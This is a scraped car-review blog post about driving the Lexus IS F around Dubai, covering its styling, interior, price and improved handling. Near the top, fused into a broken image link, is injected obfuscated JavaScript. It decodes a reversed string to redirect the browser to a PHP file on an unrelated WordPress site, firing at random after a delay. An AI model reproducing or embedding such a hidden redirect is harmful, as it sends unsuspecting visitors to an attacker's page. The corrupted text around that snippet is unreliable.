Lexus IS F // The Muscle Bound Geisha

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$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/20119478/lexus-is-f-the-muscle-bound-geisha/lexus-is-f-32/”>I’ll start this piece with a brief idea of what turns me on when it comes to taking a mundane saloon car and adding a rather large dose of Hot Rod. You have to start with a suitable platform – in this case, the Lexus IS. It’s middle-of-the-road, good quality, well built and attractive to the mass audience. Then you throw a liberal amount of muscle at it.

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It needs to look like the metal work has been stretched over the framework of the car, to the point of busting out. Think early Audi RS models, Lancia Deltas – you get where I’m going? Standing and soaking in the look of the car, the Lexus IS F certainly nails it. It looks monster, bulging at the seams with lumps and bumps in all the right places. Not pretty – purposeful would be a better word.

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Admittedly, the rear end is a bit messy and I’m not a fan of the stacked exhausts but the noise that comes out of them makes it all acceptable.

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The Lexus IS F is distinguishable from the standard version by the hunkered down stance, far deeper front spoiler and rather massive collection of grills and intakes as well as a bulge on the bonnet the size of the UAE.

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With a 5-litre V8 squeezed into the engine bay, it is going to need as much air as it can get a hold of. Make no mistake, this car is an absolute monster, but one that took a little bit of time to reveal its true colours.

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The day started off leisurely, meeting up with the team from EVO Middle East, who had the pleasure of a Ferrari 458 for a couple of days. So after a quick chit chat, a gawp at the metal in front of us and a cuppa, we hopped in our respective steeds and headed out of the hustle and bustle of Dubai, bound for the mountains.

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The IS F initially struggled to win me over after the excitement of the aesthetics. I found it quite difficult to pin down exactly what I was struggling with, so I added an out of town blat to the drive plan.

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My initial concerns threatened to ruin the car for me. I was disappointed with the drive line and frustrated with the clunky way it went about its business.  Yes, the car has a sports adapted Dynamic Management system (VDIM) but it just wasn’t working around town. With full bore modes engaged it just clunked and jiggled  in a way that didn’t endear itself. Admittedly, with the car in full soft mode it was a pleasure, but was I missing something?

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What the IS F needed was a bit of this!  Some proper roads and the ability for it to let its hair down, pick up its dress and run.

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Before we get to the fun stuff though, let’s have a quick look at the interior.  Fittingly for a AED 299,000 car, the spec listing is rather monstrous. From the stunningly comfortable semi aniline leather seats (it’s been a while since I’ve driven a car for over three hours and not had back pain) to the sports steering wheel, carbon effect veneers, aluminium pedals and sexy blue lighting, the interior of the IS-F is a pretty pleasant place to be.

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Let’s ignore the nav/heating/screen interface, as time with the car would clearly sort that out. It is a bit tricky and not the most intuitive set-up I’ve had the pleasure of, but it gets everything done.

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Most owners of a car like this won’t spend much time in the back, but as a four seater it had more than enough space to ferry mates along at a fair old pace. We aren’t talking continent bashing here, but for floating around town it’ll be fine.

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So, the hustle!  What I felt this car really needed was some space and flowing black top to really bring the reason for its existence to life. When the car first hit the market it sadly missed the boat a touch when it came to raw driving dynamics. The opportunity that Lexus had in front of them was to take it to the German contingent. Toyota had the ingredients to create what was required, but it just didn’t quite have it.

However, thanks to chief engineer Yukihiko Yaguchi and his team of crack engineers, the 2011 IS F has jumped to the next level in terms of handling and ride quality. As a result, it can now be properly pushed into corners without fear of it falling off the road and causing a lot of pain. It stays composed under heavy braking, the turn-in is aggressive and confidence inspiring, and it takes road camber and elevation changes in its stride. It’s no lightweight but it hides the weight well through transfers.

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Pushing the IS F hard through the Hajjar mountains it exhibits less understeer and more rear wheel grip and stability.  Throw in a sound track bettered only by a NASCAR and all of a sudden the ISF makes a whole heap of sense.

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It’s a strong alternative to the usual suspects now and for the discerning individual looking for a car with duality (albeit confusing in the early stages) it holds its head up high.  I still stand by my thoughts that a car like this needs to be able to deliver its promise no matter the surroundings, but having said that I  found myself quite saddened when I had to drop it back to the Lexus dealer in Festival City.

We will be getting hold of it again soon though, as a three-way punch up is in order. How will the big bad Lexus fare? You’d best come back and find out.